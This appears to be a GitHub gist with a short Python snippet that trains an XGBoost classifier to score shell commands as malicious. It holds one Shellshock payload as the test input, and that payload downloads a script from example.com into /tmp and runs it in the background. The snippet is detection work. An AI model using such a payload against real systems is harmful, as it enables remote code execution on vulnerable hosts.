Skip to content

Instantly share code, notes, and snippets.

@dtrizna
Last active September 21, 2022 06:55
Show Gist options
  • Save dtrizna/18899adb74f8be9e670d8c6a5c3f0886 to your computer and use it in GitHub Desktop.
Save dtrizna/18899adb74f8be9e670d8c6a5c3f0886 to your computer and use it in GitHub Desktop.
from xgboost import XGBClassifier
xgb_model = XGBClassifier(n_estimators=100, use_label_encoder=False, eval_metric="logloss")
xgb_model.fit(
X["HashingVectorizer"], y
)
shellshock_backdoor = "() { :;}; /bin/bash -c 'curl -O /tmp/foo.sh example.com/test; nohup bash /tmp/foo.sh &'"
print(xgb_model.predict_proba(
hvwpt.transform([shellshock_backdoor])
))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment